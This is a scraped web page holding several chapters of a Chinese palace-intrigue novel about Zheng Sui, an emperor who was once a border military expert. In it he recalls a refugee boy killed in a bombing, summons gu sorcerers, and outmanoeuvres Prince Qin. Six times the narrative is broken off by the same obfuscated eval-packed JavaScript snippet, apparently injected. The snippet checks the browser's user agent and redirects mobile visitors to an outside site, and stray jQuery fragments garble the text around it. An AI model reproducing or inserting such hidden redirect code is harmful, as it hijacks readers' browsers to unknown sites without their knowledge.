;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287957|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他几乎瘦的皮包骨,就和现在的影巫差不多。 郑遂随意的丢了一块面包给他,他就黏上了自己。 他虽然瘦弱,但是眼睛亮晶晶的。 他对郑遂说:“我可以跟着你吗?” 郑遂问他:“为什么?” 他说:“我跟着你可以吃饱饭。” 郑遂笑了笑,没有说话。 在国境线上,尤其是在战火频发的地带,对待任何人都不能有恻隐之心。 被同事带走的时候,少年双手扒在帐篷门口,眼巴巴的看着自己。 他没有问自己为什么,就那么静静的看着自己。 郑遂转头望过去的时候,对上的就是他一双清澈的大眼。 郑遂终究没有心软,让人将少年送了回去。 不过在每一次前往第一次遇到少年的那个地方时,郑遂都会习惯性的在身上带一些干粮。 有的时候能遇到他在外边找吃的,有的时候连他的影子都见不到。 听同事说,附近有一个防空洞。 这边是轰炸区,对于生活在这里的人来说,待在防空洞里的时间,比见到阳光的时间还要长。 他们也只能趁着轰炸结束的时候,才能出来捡一些附近军队的补给。 兴许有的时候还会遇到外国部队里的大头兵,碰上好心,会随手丢给他们一点吃的。 若是碰上那种不安好心的,轻则是挨一顿打,重则可能连命都丢了。 其实郑遂没有遇上那个少年几回,不过几乎每一次碰上少年的时候,他都会叽叽喳喳的跑来和自己讲话。 他似乎也不是本国人,说的外语中还夹杂着一些类似于他们那个地方的方言似的。 但是郑遂磕磕绊绊的也听懂了。 他说他家里还有一个弟弟,如今还在襁褓之中。 母亲在战火纷飞中生下了弟弟,然后就死在了轰炸之中。 临终之前,她拼命的把弟弟塞进了他的手中,把他们两个送了出去,然后他就再也没有见过自己的母亲。 他带着弟弟,一路跟着难民们往北逃,就跑到了如今这个地方。 第127章 几乎快忘了自己是谁 弟弟从出生起,就一口母乳都没有喝过。 他听说,那些富裕人家孩子,都是要喝奶粉的。 不过他没有钱给弟弟买,就算有钱也买不到。 就只能去见外头那些大兵不要的补给品,拿回去碾碎了,兑了水,一口一口的喂给弟弟。 襁褓中的婴儿肠胃太娇弱了,尽管他已经够小心了,但是弟弟总是上吐下泻。 和他们一起躲在防空洞里的那些难民说弟弟这个样子根本就活不了。 而且他自己也是一个小孩子,带着一个更小的婴儿,他该怎么办? 如果有一天,连这个防空洞都不安全了,难道他在逃亡的路上也要带着一个小孩子吗? 只怕是会连他自己的命都丢了。 但是他不想放弃。 他说:“妈妈将他交给我,我不能丢下他,他是我在这个世界上唯一的亲人了。” 郑遂不知道该如何形容当时自己心里的滋味。 他是边境的军事专家,从军多年,早就已经看惯了世间人情冷暖,见惯了战火纷飞的世界里,人心的扭曲和险恶。 对于他们这种人来说,可以有同情,但却不能共情。 可是那一瞬间,郑遂忽然有一些心疼这个少年。 他问少年:“你难道就不怕死吗?” “我怕。”少年说道。 但他说这话的时候,依旧用他那双明亮的大眼看着自己。 “可比起这样死去,我更希望,我能在这个世界上留下我存在过的痕迹。” 与其如此,不如不生。 最贫瘠的土地上开出的最鲜艳的花,是从来不会轻易服输的。 他问郑遂:“我听说你们国家很安全,也有很多善良的人会收养我们这边的孩子。你可不可以帮我,把我的弟弟送到一个安全的地方。” 郑遂思索了很久,郑重的对着少年点了点头。 “这很难,但是我可以为你尝试一下。” “谢谢你!”少年很高兴,激动的跳了起来,围着郑遂转着圈。 过了许久之后,他才强压下心头的激动,有些不好意思的,蹲在郑遂面前挠了挠头。 “那我可以再拜托你一件事吗?”他怕郑遂不同意,还连忙对郑遂解释道。 “你放心,我没有别的要求的!我就是想问问你,下一次见面的时候,你可不可以给我弟弟带一些奶粉。” 他说**还能和弟弟在一起多长时间,但是他希望,在他能陪伴弟弟的有限生命里,把最好的都给弟弟。 郑遂答应了他,然后问他:“你只让我带走你的弟弟吗?那你呢?” “我没关系的呀。”少年笑着说道。 他撸起袖子,对着郑遂展示着自己手臂上并不存在的肌肉。 “我很快就要成年了,我可以照顾好我自己的,只要弟弟能有对他好的亲人就够了。” 说完这话的时候,少年微微垂下了眸,表情似乎有些落寞。 片刻之后,他喃喃了一句。 郑遂没有听清楚,但是他想,少年或许是在说,如果有机会的话,他还希望能见一见未来被幸福围绕着的弟弟。 在他承诺了少年的当天晚上,那里又遭遇了一次轰炸。 规模比以往每一次都大,漫天的火光像流星一般,以及其绚烂的方式从天空中一闪而过,然后重重的砸在了地上。 将整个大地都烧成了一团火光。 郑遂坐在自己的帐篷,听着外边冲天的巨响。 终于忍不住,飞速跑到柜子边取出了一罐奶粉,发了疯似的跑了出去。 但是没跑多远,郑遂就被人给拦了下来。 等到一切结束的时候,国境线上已经硝烟漫天。 防空洞被炸毁了,被清点出来的尸体几乎已经被炸得面目全非,远远望上去就是一块块的焦炭,甚至看不出人形。 郑遂再也没有见过那个少年,也没有再见过他的弟弟。 后来有同事从废墟之中捡到了一枚徽章,小心翼翼的交给了郑遂。 郑遂还记得,那是他和少年第一次见面的时候,他亲手交给少年的。 那时他很饿,缩在角落里吃着郑遂给他的面包,忽然不知道被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287958|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么给吸了,视线就愣愣的落在了某处。 郑遂顺着他的视线方向望了过去,发现他正在看着自己随手放在一旁柜子上的一枚徽章。 那是之前与国内前来的医疗队志愿者见面的时候,临走前对方送给他的一枚纪念徽章。 “你想要这个吗?”郑遂问道。 “不想。”少年摇了摇头,“我只是想起我的父亲了,他之前是维和部队里的医生。” 郑遂想了想,走过去拿起了那枚徽章,递给了少年。 “送给你吧,当做我替你父亲送给你的。” 少年笑了,拍掉手上粘着的面包渣,小心翼翼的将徽章接了过来。 郑遂没再与他交谈,回到了办公桌前继续处理文件。 直到无意中抬头,才发现少年看似狼吞虎咽,实际上他只吃了小半块面包。 剩下的全被他小心翼翼的藏在了衣襟里。 后来郑遂曾在心里无数次问过自己,如果能重新来一次的话,他又会怎么选择? 他想,他会忘掉所谓的规矩。 他会在见到少年的第一面时,就向组织申请,收养他们兄弟二人。 后来发生了什么来着…… 好像是被组织约谈",带去做了好几次心理咨询。 最后一次有关于现代的记忆,是上级领导坐在办公桌的对面,又一次向自己强调:“你要记住,你是一个军人。你来到这里,是为了保卫祖国,保卫更多的人。” 郑遂没有说话,只是微微闭上了眼睛。 但他当时心里想的是,维护和平的意义究竟是什么。 若连一人都护不住,又如何保护得了众生? 郑遂想起来了。 他不明白自己为什么会穿越",但他此刻清醒的记得,在自己来到这个世界里的第一时间,想的竟然是一切终于结束了。 他终于逃避了现实中的那些问题,他似乎也有能力,去完成自己的心愿了。 可是时光漫漫,所谓世道,总会改变一个人。 好像有时候连郑遂自己都忘了,他曾经到底是谁。 第128章 召集天下巫蛊师 王喜不知何时来到了床边,看着郑遂一直愣愣的仰头望着床边的帷幔,他并未敢开口。 直到过了许久,郑遂似乎都没有发现自己的到来,王喜才终于试探着开口道:“陛下,影巫那边,已经安顿好了。” 郑遂终于回过神来,转头看向王喜。 莫名其妙的,郑遂问了王喜一个问题:“你觉得,朕是一个合格的君主吗?” 王喜愣了愣,随即惶恐的回下头去。 “陛下,您当然是世间最好的君主,奴才不敢撒谎。” 郑遂仰起头,没有回应,而是陷入了沉思之中。 好或不好,又哪里是三言两语就能够定断的。 郑遂似乎已经忘了自己的初心是什么了。 王喜惶惶不安的跪在床榻边,大气也不敢喘。 他不明白郑遂为什么突然问了自己这样一个问题,他更不敢轻易去揣测圣意。 直到过了许久之后,郑遂才忽然说道:“你去替朕办一件事。” 王喜连忙道:“陛下吩咐。” 郑遂猛地坐起身子,定定的看着王喜。 “你去替朕传一道密旨,朕要广召天下巫蛊师。凡有能力者,皆可面圣。” 王喜倒吸了一口凉气。 这巫蛊之术乃是大忌,天下君主,甭管是哪朝哪代,都对此类人深恶痛绝。 凡有人私下行巫蛊之术,或与巫蛊师过从亲密者,一旦被发现,便是抄家灭门的死罪。 如今巫蛊之术之所以罕见,正是因为历代君主将其赶尽杀绝的缘故。 如今世间仅存的这些,也都如鬼师一般隐居深山,轻易难以寻得对方踪迹。 若非此次韩王有心谋反,鬼师也想从中分一杯羹,只怕这鬼师也不会出山。 郑遂身为君主,却要广昭天下巫蛊师,这岂不是倒反天罡? 一旦被人发觉了,只怕是那些保皇党,也同样会讨伐郑遂的。 王喜一时间没敢应承,但是心中却隐隐约约的明白了过来郑遂要干什么。 他顿时满面惶恐,也顾及不上郑遂会不会容颜大怒。 颤颤巍巍的急切劝说道:“陛下您三思啊,巫蛊之术,并非正道。你若是为了……他不值当啊!” 值得? 什么叫做值得? 这件事本就没有一个固定的衡量标准,唯有人心所向,才是真正的值得。 “你当真认为,巫蛊之术,可霍乱朝纲?” 王喜不敢应答。 这是否霍乱,谁能说得准呢? 于王喜这种人而言,他也只能从历代君王的策略中总结出一二经验。 既然大家都说不好,那自然就是不好的。 郑遂忽然冷笑一声:“朕便不相信了,天下竟真有巫蛊师能有如此手眼通天的能耐,祸乱朝堂。” 倘若真有,那鬼师为何只跟从韩王,还要推影巫出来做替死鬼。 而至今为止,他都一直藏在幕后? 真有本事,自己进入朝堂之中,岂不是更方便下手? 是他先前太把鬼师当回事了。 既如此,那便让他自食恶果。 王喜不知道该如何劝说郑遂。 他向来知道,郑遂心中是有成算的。 那些个在旁人眼里,难以突破的困境,于郑遂而言,也不过是动动手指头的事。 这些个日子以来,他又是如何从一个被架空了权力的皇帝,到现在能反制徐敬意,王喜更是桩桩件件都看在眼里。 所以他不明白郑遂为何会这样做,就只能去选择相信郑遂的所有决断。 终于,王喜咬了咬牙,躬下身子应了下来:“奴才遵命。” 王喜走后,郑遂又缓缓躺回了床榻之上。 他也不是脑袋一热,才做出了这个决定。 只是想着,有些个事既已成为遗憾,那就不能让这件事再发生一回。 影巫这个人,他要保住。 鬼师,他也要杀。 既然打定了主意,要与鬼师抗衡到底,那就必须得知己知彼才能百战不殆。 郑遂可还记得徐妍和自己说过的话呢。 早年间徐家祖父就已经接触过鬼师了,能直接出入徐家祖父书房,与之密谈的人,想来与其关系必然不简单。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287959|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>所以为何鬼师明明在早年间就已经亲近过了徐家,却又要转过头来去亲近韩王呢。 且这从始至终,鬼师都未曾对徐敬意有过任何特殊的对待。 这让郑遂十分疑惑,为何鬼师的举动,处处都像是要冲着挖掘徐家根基而来的呢。 当年徐家接触了鬼师之后,后面又为何没了下一步举动。 郑遂可不相信,当年徐家祖父接触鬼师,仅仅是因为对巫蛊之术好奇。 他们没有后续的动作,是因为时机不合适,还是说他们之间并没有达成双方都认可的协议呢? 这鬼师,十分可疑。 并且之前影巫提起过的一件事,也让郑遂有些疑惑。 用他的话来讲,他们巫蛊师的鼻祖有许多徒儿,自己也练就了,长生不老之术。 那他既然作为巫蛊之道的老祖宗,必然也是想将此道发扬光大的。 那么为何他不肯将炼制长生不老制药的药方传给自己的徒儿呢? 还有,当年他那个徒弟想要偷药方,行的不轨之事到底是什么事? 郑遂想不明白,但在听了影巫的话,郑遂却明显发现,并不是所有的巫蛊师都是穷凶极恶之人。 至少,他们的先祖不是这样的,影巫自己也不是这样的。 这就足以证明,巫蛊之术,并非全都是坏的。 或者说,他们先祖创立此道的初衷,也并不是希望巫蛊之术能发展到如今人人喊打的地步。 所以,郑遂需要有其他的巫蛊师来对付鬼师,救影巫的命。 同样的,他也需要知道,这巫蛊之术起源之时,究竟是为了做什么。 思索间,困意上涌,郑遂终于缓缓合上了眼皮。 再一次睁开眼,一股熟悉的淡淡花香从身边若有若无的传来。 郑遂缓缓睁开眼,转头望向正站在床边的那么倩影。 “你怎么来了?”郑遂缓缓坐起身来。 “最近这些日子,你一直躲着朕,今日怎么如此有闲情逸致过来看望镇呢?” 床边的徐妍微微咬住嘴唇,轻声回道:“陛下误会,奴婢没有躲您的意思,” 第129章 这消息竟然传了出去 郑遂看着徐妍,轻轻一笑。 随即对她招了招手:“过来吧。” 徐妍迟疑了一下,这才悄然上前,坐在床榻边。 郑遂顺势搂住徐妍的腰,让她往自己的怀里带了带,手指轻轻拂过她的鬓发。 “今日怎么这么早就来了?是有什么事吗?” 徐妍轻轻咬住嘴唇,转头回望了郑遂一眼。 见郑遂正含笑看着自己,才终于鼓起勇气道。 “听说陛下,从宫外带回来一个人。” 郑遂的眸光逐渐沉了下来,但嘴角却依旧噙着那抹意味深长的笑。 徐徐开口说道:“看来朕的皇后,消息很灵通嘛。” 徐妍心中一慌,忙起身跪倒在地。 “陛下误解了!奴婢并非故意打探乾清宫的消息,只是……” “只是什么?”郑遂没有伸手去扶她。 只是微微歪过头,似笑非笑的凝视着徐妍。 “你是想告诉朕,有人特地把这消息传到了你面前是吗?” 徐妍抿了抿嘴唇,半晌后才艰难的点了点头。 “陛下恕罪,都怪奴婢一时不察,这才会……” 郑遂轻笑一声:“朕为何要怪你?倘若这种事,都要怪罪皇后不利,那还要皇宫里的侍卫何用?” 徐妍肩膀微微颤抖着,不敢去直视郑遂的眼睛。 直觉告诉她,别看郑遂现在面带笑容,可估计心里早就已经将通风报信的人骂个千百遍了。 他可不是什么好相与的人,更称不上是仁君。 就算他是,他的仁德也只会施惠于百姓,对于那些心怀不轨的,想恶意搅乱朝局的,郑遂一个都不会放过。 徐妍之所以要来告诉郑遂这件事,也属实是她根本不敢隐瞒。 “朕要谢谢皇后。”郑遂说道。 然后伸出手,轻轻拉起了徐妍,重新将她揽在怀里。 带着薄茧的手指,轻轻摩擦过徐妍的侧脸,声音忽然重新变得无比温柔。 “朕有你这样的皇后,何愁这天下不能太平?” 郑遂轻笑一声:“册封皇后的日子很快就要到了,你近日,就待在自己的宫中,轻易不要出门了。” 徐妍的脊背僵硬了一瞬,随即连忙应了下来。 “奴婢遵旨。” 郑遂没有纠正徐妍的自称,只是笑看着她站起身来对自己规规矩矩的行了以后,便目送着她离开了。 一直到离开了乾清宫外,徐妍才终于松了一口气。 最近的郑遂,真是越来越难相处了。 而且徐妍能够明显感觉到,如今郑遂已经一步步的将自己从**的核心中踢出去。 这种感觉,说不上有多难受,可终究不会好受。 徐妍抬起头,看了一眼头顶四四方方的天,心中说不上是感慨还是什么,微微叹了口气。 或许往后,她的生活,就会如同世间大多数的女子一样,只剩下这一方天地了吧。 其实今日,那人来了自己面前,悄悄告诉给了自己,郑遂带了人入宫的事,她完全可以不告诉给郑遂的。 那人的意思,徐妍明白。 若是她不想被困于后宫之中,一生都只能活于皇权之下,与那人合作,这是一条极好的出路。 但是徐妍却没有任何的犹豫,在那人离开后不久,就直接来见郑遂了。 她就是忽然觉得好累,不想再斗下去了。 至于未来如何,听天由命吧。 王喜小心的服侍着郑遂梳洗更衣,期间郑遂一直没有开口说话,王喜也是大气都不敢喘。 直到郑遂准备出宫上朝前,忽然意味不明的看了王喜一眼。 王喜猛的打了个寒战,连忙垂下头去。 “陛下,奴才该死,皇后那边,奴才一直有叫人留意,只是不知……” 他实在是不知道,徐妍现在所住的宫中怎么就能悄悄地混进了人去,甚至连郑遂这边做过什么都知道。 明明郑遂走的是密道,明明这件事没有透露出去过,半点消息,可偏偏还是传出去了。 幸好那边没什么动作,徐妍也在第一时间把这件事告诉给了郑遂。 否则,王喜这个大太监的人头就别要了。 “此事,不怪你。”郑遂却说道。 王喜有些惊讶的抬起头来看向郑遂,只见他微微眯起眼,目光落在某处,不知道是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287960|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思量什么。 “朕的身边,有内鬼。”郑遂忽然道。 王喜吓的扑通一声跪在了地上,拼命的磕头。 “奴才该死,奴才该死!”王喜的声音中已经染上了哭腔。 “都是奴才一时不察才会如此。” 郑遂没有说话,王喜看了一下他的脸色,又连忙补充道:“奴才即刻就去彻查。” “倘若你真的这么大动干戈的去查了,难道会引起对方的注意。” 郑遂微微摇头,思量了一番之后,他干脆转身大步回到了床塌边坐下。 王喜有些不解的看着郑遂,犹豫了片刻之后才试探着问道:“陛下,如今已经到了该上早朝的时辰,您还不过去吗?” “不去。”郑遂慵懒的摆了摆手。 “你即刻就去通传,就说朕病了,今日不能上早朝。至于明日……” 郑遂忽然冷笑一声。 “明日朕也不去。” 王喜有些犹豫地看着郑遂。 纠结了片刻之后,他终于明白了郑遂的意思。 连忙躬身道:“奴才即刻就去办。” 王喜转身离去,郑遂靠在踏遍百无聊赖的拨弄着手上的玉扳指。 片刻之后,他唇角突然勾起一抹意味深长的笑。 这件事儿查肯定是查不出来的。 既然人都能混到自己的身边了,而且丝毫风声都没有透露出来,甚至直接闹到了徐妍的面前,足可见此人心机深沉,寻常手段根本对付不了他。 必得引蛇出洞,才可知对方的真实意图。 而派来这个人的幕后主使又会是谁呢? 郑遂眯起眼,细细的思量了起来。 徐敬意吗? 不可能是他。 他如今自身难保,又是三面间谍。 但凡他行差踏错一步,任何一方都可能会要了他的性命,绝对不会留情。 南宫治? 也不会是他。 这人心机深沉,也有一定手段,可是他没有那么大的本事。 说到底,如果不是江如松将他找出来的,又把他举荐到自己面前,单凭他的能力,连皇宫的大门都摸不到。 第130章 能否保命就看这一回 至于韩王,那就更不可能了。 他如今还远在荆州,自己派出去的人将他的手下给杀了的事,想来也早就传到了那边。 韩王虽然下手很多,但胆子却没有那么大。 当初秦王落败被赶回了封地,但说到底,前去抵御秦王大军的那些禁军并不是没有任何的损伤。 如果换做郑遂的话,他一定会趁着这个节骨眼直接率领自己的部队来京城看看。 倘若有迹可循,那就趁机直接攻打京城。 反正郑遂如今对外的形象依旧是那个懦弱的小皇帝,至少大部分朝中的大臣都是这么看待郑遂的。 即便韩王是依靠谋反才能坐上高位,终究名不正言不顺。但只要他有雷霆手段,或者能有其他的方式邀买人心,这朝堂之上,终究还是能有他的一席之地。 刚开始坐不稳的皇位,难道还能一辈子都坐不稳吗? 如果没有找到机会,那也正好,可以趁机探一探郑遂的心意。 反正明面上韩王并没有做错什么事儿,最多也就是给徐敬意下了个毒。 在徐敬意已经遭受了韩王的人身威胁的情况下,他敢在韩王的眼皮子底下告状吗? 既然如此,那郑遂也没有理由针对韩王,韩王还是可以平安无恙。 甚至可以回到封地去,计划着下一次起兵谋反。 但韩王偏偏懦弱,得知秦王的事儿之后,他就龟缩在荆州不肯出来了。 还派了徐敬意这么一个蠢货回到京城来探听消息,他也不想想,徐敬意虽然深受之苦,但只要被他抱回了京城来,他怎么可能不寻机出卖自己呢? 总归一切都是韩王自己选的,他怪不着别人。 至于其他的人嘛…… 如今这宫中或许人人都有心机,人人都想趁着朝局正乱,从中分一杯羹。 若是按照王喜所说,大范围的去查,那无异**捞针。 别说他们很难查到真相,就算是真正查到了,只怕也为时已晚了。 所以缩小范围,引蛇出动才是正解。 如今看下来,总觉得那已经到了京城附近的鬼师的可能性最大。 毕竟他诡计多端,手段又那么多。 或许与他而言,就凭他那一身本事,根本就不需要真正的进入皇宫之中,就可以达成目的了。 郑遂思来想去,便让人去传了早膳,顺便把影巫给叫了过来。 影巫跟在郑遂贴身小太监的身后,亦步亦趋的来到了乾清宫正殿。 郑遂已经等候他多时了,见他前来便笑着对他招了招手。 桌上已经摆满了各路早点,郑遂猜想像影巫这么大的少年,多半都是喜欢吃甜的,所以还特地叫御膳房备了不少甜食。 影巫刚刚进门,就闻到了扑面而来的香气,瞬间食指大动。 不过当他的目光在桌上扫了一眼之后,却一直犹豫着没有上前。 昨天晚上的经历,至今都让影巫觉得后怕。 鬼师如今已经就在附近,若他当初在自己身上下的蛊,真的可以用于操纵他,影巫也不敢保证会发生什么。 他虽然已经下定决心,想着倘若有一日真的无路可走,他也不是不可以拉着鬼师同归于尽。 但是终归那一刻没有来临,影巫心中还是更想活下去的。 重点是如果他现在就**,那他就真的什么都做不了了。 影巫还不甘心,就这样白白送了命去。 郑遂却对他再次招手:“过来吧,总是要吃饭的。” 影巫犹豫再三,这才小心翼翼的走上前。 但却始终没敢坐到桌边,纠结了一会儿之后,对着郑遂微微拱手弯下腰去。 “陛下,我……不敢。” “没有什么不敢的。”郑遂说道。 “你就在皇宫中,在朕的眼皮子底下,朕倒要看看谁敢对你动手。” 鬼师就算是想对影巫下手也不会那么早,毕竟他这个人最擅长于心机谋算。 留着也无自然,还是有些用处的不到万不得已的一步,鬼师也不会让尤物就这么白白的死在皇宫里。 而且皇宫中太医那么多,纵然影巫天生体质不同,可拼尽全太医院的力量。何愁保不住影巫的性命。 “好了,你坐下吧。”郑遂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287961|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无奈的说道。 “朕既然让你进宫,朕就能向你保证,至少在朕的眼前,绝对不会让你出事。” 影巫不知道该如何形容自己心里的滋味。 他何德何能,能得到郑遂这般照料? 甚至能够得到天子的保证。 既然郑遂如此信誓旦旦,影巫便也不再犹豫,悄然走上前,坐在了郑遂对面。 “吃饭吧。”郑遂说道。 影巫轻轻地应了一声,小心翼翼的动起了筷子。 不过他终究是没敢吃太多,期间也一直醒着神,生怕自己会像昨天晚上一样,突然之间就失了控。 郑遂也一直在暗中观察着影巫,见他并无大碍,这才微微松了口气。 看样子自己的猜测是对的。 鬼师虽然已经临近京城,不过确实是没有即刻要了影巫性命的意思。 既然如此,郑遂就放心了。 饭后,郑遂把影巫叫进了书房来。 “朕今日找你,是有个任务要派给你。” “陛下吩咐。”影巫连忙表态。 “朕需要你,去解了徐敬意身上的毒。” 影巫愣住了,他简直不敢相信自己的耳朵。 什么?给徐敬意解毒? 如今好不容易有了办法,将徐敬意拿捏在掌心之中,却要主动去解了他身上的蛊毒。 此人居心不良,手段狠毒,若是连这点控制都没了,那徐敬意岂不是即刻就要反扑? 他可是最恨郑遂的那一个了呀。 “别慌,朕的话还没有说完呢。”郑遂招招手,示意影巫到自己的身边来。 影巫连忙走了过去,俯首倾听。 郑遂压低了声音,低声和影巫说了些什么。 影巫愣了一下,随即恍然大悟。 “属下明白,属下一定会去替陛下办妥这件事。” “这不只是为了朕,更是为了你。”郑遂说道。 “鬼师来后,你能否保住你这条命,就看这一回了。” 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第131章 竟然全是他的谋算 影巫跪地,深深的对着郑遂叩首,随即起身离开。 郑遂望着他的背影消失在门口,招招手,王喜即刻走了过来。 “陛下有什么吩咐?” “秦王那边,该料理的,就料理了吧……” 王喜恭敬道:“奴才遵旨。” —— 手下一路快马加鞭的赶到了营帐,里边秦王正与几个心腹幕僚议事,忽见自己身边的探子匆匆忙忙的冲进了营帐,脸色不禁微微一变。 与那探子互相对视了一眼,随即对幕僚挥了挥手。 “你等先退下吧。” 几位幕僚应声离开,秦王这才将视线落在探子的身上。 那探子的神色明显有些慌张,人一退下,他就扑通一声,跪到了秦王面前。 “殿下,陛下的圣旨,封徐氏,徐妍为皇后,下月初行册封礼。陛下旨意,所有藩王皆要进京观礼。” “你说什么?”秦王大惊失色。 他简直不敢相信自己的耳朵。 郑遂竟然要封后了。 封就封吧,关键还是那徐家的女儿。 他疯了不成? 徐敬意自打先帝过世之后,就一直对郑遂虎视眈眈,不敬皇帝的事,都已经做过多少次了。 郑遂竟然这么想不开,要封他徐家的女儿为皇后。 难不成,这京城已经完全被徐敬意所控制了不成? “不是的殿下!不是这样的!”探子慌张的摆手。 随即膝行上前,急切的看着秦王。 秦王眉头微微一皱,俯下身来。 “此处没有旁人,你说便是了。” 那探子已经急得满头大汗,得到了秦王的允准,就赶紧把他所知道的,这数月以来,京城中的消息都一股脑的告诉给了秦王。 秦王听的愣在了原地。 什么…… 这一切,竟然都是郑遂的谋算吗? 从自己第一次打着清君侧的名义,起兵入京,一直到自己被打回了封地来,竟然全都在郑遂的谋划之内? “这怎么可能?” 秦王直接被活生生的给气笑了。 郑遂他算个什么东西? 无非就是占了个嫡子的名分,加上先皇后过世的早,先帝总觉得亏欠了自己这位发妻,看在她的面子上才封了郑遂为太子罢了。 可郑遂他配吗? 论能力,论心机,他根本就不配做到这皇位之上。 当初先帝在世的时候,曾给他铺了多少的路? 可不也是先帝前脚刚刚崩逝,后脚郑遂就把自己手中的黄泉丢了个干干净净吗? 当初他被困在皇宫里,形同软禁,出入艰难的时候,眼瞧着他这辈子都不可能再有什么出路了。 结果现在却告诉秦王,郑遂不仅有了出路,还是他自己争取来的。 甚至就连自己落败,也和郑遂有着脱不清的关系。 “千真万确呀,殿下……”探子跪在地上,颤颤巍巍的看着秦王。 “您千万别生气,当心伤了自己的身子……” 秦王冷笑一声,大手一挥,直接将岸上的东西都摔在了地上。 “身子?如今本王被他算计的只能龟缩在封地,说不定哪天外头那些虎视眈眈的禁军就直接闯进城来,把本王给一刀两断了,本王还要着身子有什么用?” 探子被秦王的话吓得身子狠狠瑟缩了一下,连忙狠狠一头磕在地上。 “殿下您别这么想,到底如今圣上还没动手,咱们还有机会呀!” “有机会个屁!”秦王怒骂。 这一切都在郑遂的计划之中也就罢了,关键是竟然还没透出半点消息来。 如今自己都已经到了穷途末路了,却偏偏让他知道这些。 这老天爷非要跟他过不去吗? 不就是没有占个好的出身,不就是母妃当初在先帝面前不得宠吗?! 凭什么他就只能一辈子龟缩在封地里做一个藩王? 他只是在为自己争取,他有错吗? 而如今,探子告诉给自己的这些事,与郑遂亲口告诉他,他会死,却不告诉他具体的时间有什么区别。 从今往后,难道他就只能日日活在提心吊胆之中,担心着自己,说不定哪天就丢了命去。 秦王不甘心! 他也绝对不能任由自己这样窝窝囊囊的**! “去! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287962|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通知咱们的人!即刻整顿点兵!” 下月初,不就是郑遂的封后大典吗? 是他主动要求的,让所有藩王都前去观礼。 届时人多眼杂,自己悄悄带人潜入,郑遂难道还能防备的过来? 即便是拼死,秦王也要和他一战。 若成,自己做皇帝。 若不成,总也比现在悄无声息的**要强。 跪在下首的探子,被秦王的话给吓了一跳,回过神之后,他连忙急切地劝阻道。 “殿下!这万万不可呀!” 如此,与送死有什么区别? 郑遂下旨让所有人都去观礼,原本就是不怀好心。 搞不好,就是想借着这个机会做一波清算呢。 便是秦王此次前去什么都不做,估计都难逃郑遂的毒手。 要是秦王还不肯罢休,直接带兵攻入京城,那岂不是更会让郑遂给抓住了把柄? “那你是什么意思?让本王率着部队进深山老林里,苟且偷生吗?”秦王冷笑着问道。 探子紧张的咽了咽口水,不敢轻易开口。 他实则也的确是有这个意思。 